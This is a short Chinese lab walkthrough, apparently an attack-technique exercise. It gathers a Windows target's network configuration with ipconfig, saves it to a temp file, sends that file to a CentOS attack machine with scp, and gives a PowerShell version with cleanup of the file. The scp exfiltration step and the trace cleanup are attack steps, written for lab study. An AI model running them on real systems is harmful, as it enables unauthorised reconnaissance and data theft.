环境说明
IP | HOSTNAME | NOTE |
|---|---|---|
| Lab环境/172.16.103.14 | Win10 | 靶机 |
| Lab环境/10.10.10.85 | CentOS7 | 攻击机 |
相关脚本
| 内容 | 下载 |
|---|---|
powershell脚本 | 点击下载 |
实现过程
列出网络接口信息
ipconfig -all

保存到临时文件
ipconfig.exe -all > E:\TempProjects\ipconfig.txt

上传网络信息到服务器
scp E:\TempProjects\ipconfig.txt [email protected]:~/tmp/

查看服务器上获取到的网络信息
cat ipconfig.txt | head -n 20

POWERSHELL代码实现
# Attack Commands:Run with powershell!
$save_path = "E:\TempProjects\ipconfig.txt"
ipconfig.exe -all > $save_path
# cleanup commands
if (Test-Path $save_path)
{
Remove-Item $save_path
}